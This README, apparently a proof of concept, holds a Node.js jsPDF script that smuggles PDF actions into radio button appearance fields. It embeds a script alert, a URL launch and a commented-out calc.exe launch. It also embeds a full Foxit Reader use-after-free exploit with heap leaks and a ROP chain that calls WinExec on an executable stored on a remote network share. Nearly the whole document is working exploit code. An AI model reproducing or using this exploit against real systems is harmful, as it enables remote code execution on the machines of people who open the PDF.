README.md
Rendering markdown...
const { jsPDF } = require("jspdf")
const doc = new jsPDF();
const group = new doc.AcroFormRadioButton();
group.x = 10; group.y = 10; group.width = 20; group.height = 10;
// group.defaultValue = "opt1";
doc.addField(group);
const child = group.createOption("opt1");
child.x = 10; child.y = 10; child.width = 20; child.height = 10;child.value = "opt1";
child.appearanceState = "Off /AA << /E << /S /JavaScript /JS ( app.alert('XSS')) >> >>";
const child2 = group.createOption("opt2");
child2.x = 40; child2.y = 10; child2.width = 10; child2.height = 10;child2.value = "opt2";
child2.appearanceState = "Off /AA << /E << /S /JavaScript /JS ( app.launchURL(\"https://github.com/dajneem23\", true); ) >> >>";
// child2.appearanceState = `
// /Type /Action
// /S /Launch
// /Win
// <<
// /F (calc.exe)
// >>
// `
const child3 = group.createOption("opt3");
child3.x = 60; child3.y = 10; child3.width = 30; child3.height = 10;child3.value = "opt3";
child3.appearanceState = `Off /AA << /E << /S /JavaScript /JS (
var heap_ptr = 0;
var foxit_base = 0;
var pwn_array = [];
function prepare_heap(size){
var arr = new Array(size);
for(var i = 0; i < size; i++){
arr[i] = this.addAnnot({type: "Text"});;
if (typeof arr[i] == "object"){
arr[i].destroy();
}
}
}
function gc() {
const maxMallocBytes = 128 * 0x100000;
for (var i = 0; i < 3; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}
function alloc_at_leak(){
for (var i = 0; i < 0x64; i++){
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
}
}
function control_memory(){
for (var i = 0; i < 0x64; i++){
for (var j = 0; j < pwn_array[i].length; j++){
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
}
}
}
function leak_vtable(){
var a = this.addAnnot({type: "Text"});
a.destroy();
gc();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
var leaked = stolen[0] & 0xffff0000;
foxit_base = leaked - 0x01f50000;
}
function leak_heap_chunk(){
var a = this.addAnnot({type: "Text"});
a.destroy();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
alloc_at_leak();
heap_ptr = stolen[1];
}
function reclaim(){
var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
rop[0x02] = 0x72727272; // junk
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
rop[0x04] = 0xffffffff; // ret of WinExec
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
//Path to executable
rop[0x0c] = 0x39315c5c;
rop[0x0d] = 0x36312e32;
rop[0x0e] = 0x2e312e38;
rop[0x0f] = 0x735c3031;
rop[0x10] = 0x65726168;
rop[0x11] = 0x6568735c;
rop[0x12] = 0x652e6c6c;
rop[0x13] = 0x00006578;
rop[0x14] = 0x00000000;
rop[0x15] = 0x00000000;
rop[0x16] = 0x00000000;
//End Path to executable
rop[0x17] = 0x00000000; // adios, amigo
}
}
function trigger_uaf(){
var that = this;
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
var arr = [1];
Object.defineProperties(arr,{
"0":{
get: function () {
that.getAnnot(0, "uaf").destroy();
reclaim();
return 1;
}
}
});
a.point = arr;
}
function main(){
leak_heap_chunk();
leak_vtable();
control_memory();
trigger_uaf();
}
// app.alert(app.isFoxit)
if (app.platform == "WIN"){
if (app.isFoxit == "Foxit Reader"){
main();
}
}
if (app.platform == "MAC"){
// if (app.isFoxit == "Foxit PDF Reader for Mac"){
app.alert("This PoC is not tested on Mac, but it is likely vulnerable as well. Please test and confirm.");
// }
}
) >> >>`;
doc.save("test.pdf");